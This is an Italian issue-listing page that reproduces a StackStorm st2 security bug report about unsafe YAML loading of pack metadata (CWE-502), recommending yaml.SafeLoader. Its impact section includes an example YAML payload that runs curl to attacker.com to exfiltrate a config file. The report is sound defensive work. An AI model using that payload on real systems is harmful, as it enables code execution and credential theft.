Hacktoberfest 2026: le issue che i maintainer hanno segnato per ottobre, aperte e adatte ai principianti. Sfoglia le issue Hacktoberfest

yaml.FullLoader used instead of SafeLoader in pack metadata parsing (CWE-502)

Aperta Adatta ai principianti
  • Qualcosa non va?
#6,393 1 commento 0 reazioni 0 assegnatari Vedi su GitHub

@kateolenya ci sta già lavorando.

Dal 11/9/2026.

  • #6405 di @kateolenya — aperta

Valutazione

Difficoltà
2/5
Tempo stimato
1-3 ore
Idoneità per principianti
86/100
Tipo di issue
Bug
Chiarezza
Specificata chiaramente
Stato di attività
Attiva
Stack tecnologico
python
Ambito
security

Direzione di ricerca

Inizia in st2common/st2common/services/packs.py, in clone_action_files, e analizza la gestione dei metadati intorno alla riga 388. Modifica il loader usato per lo YAML dei metadati del pack con l’alternativa sicura descritta nell’issue, quindi verifica che la clonazione o l’installazione dei pack continui ad analizzare i metadati ordinari senza istanziare oggetti Python.

Scritto dal modello di indicizzazione a partire dal testo della issue.

Descrizione

Summary

Pack metadata YAML files are parsed using yaml.FullLoader, which can instantiate arbitrary Python objects. If a malicious or compromised pack contains a crafted YAML metadata file, this could lead to arbitrary code execution during pack cloning or installation.

Affected File

st2common/st2common/services/packs.py (line 388)

with open(dest_metadata_file_path) as df:
    doc = yaml.load(df, Loader=yaml.FullLoader)

This is called in the clone_action_files function, which executes during pack management operations.

Impact

yaml.FullLoader resolves Python-specific YAML tags such as !!python/object, !!python/object/apply, and !!python/module. A malicious pack metadata file could contain:

name: !!python/object/apply:os.system ["curl attacker.com/exfil?data=$(cat /etc/st2/st2.conf)"]

This would execute arbitrary commands when the YAML file is parsed during pack installation or cloning. Since pack installation often runs with elevated privileges (the StackStorm system user), this could compromise the entire StackStorm deployment.

Attack vector: A user with permission to install packs from external sources (git repositories, StackStorm Exchange) could install a pack containing a malicious metadata file. The code execution occurs during the YAML parsing step, before any other validation.

Recommended Fix

Replace yaml.FullLoader with yaml.SafeLoader:

with open(dest_metadata_file_path) as df:
    doc = yaml.load(df, Loader=yaml.SafeLoader)

Or use the convenience function:

with open(dest_metadata_file_path) as df:
    doc = yaml.safe_load(df)

yaml.SafeLoader only supports basic YAML types (strings, numbers, lists, dicts, booleans, null) and will not instantiate Python objects.

References

Lingua principale
Python
Stelle
6.5k
Fork
792
Merge medio
1g 3h
PR unite (30g)
4

Preparare l'ambiente

Come iniziare

  1. Leggi tutta la issue e poi la guida ai contributi del progetto.
  2. Commenta sulla issue per dire che te ne occupi tu — evita che due persone facciano lo stesso lavoro.
  3. Fai un fork del repository e lavora su un branch.
  4. Apri una pull request che faccia riferimento al numero della issue.

Altre issue di StackStorm/st2

Tutte le issue di StackStorm/st2

Issue simili

Altre issue su Python

Ricevi le nuove issue nella tua casella

Un breve riepilogo di issue GitHub adatte ai principianti.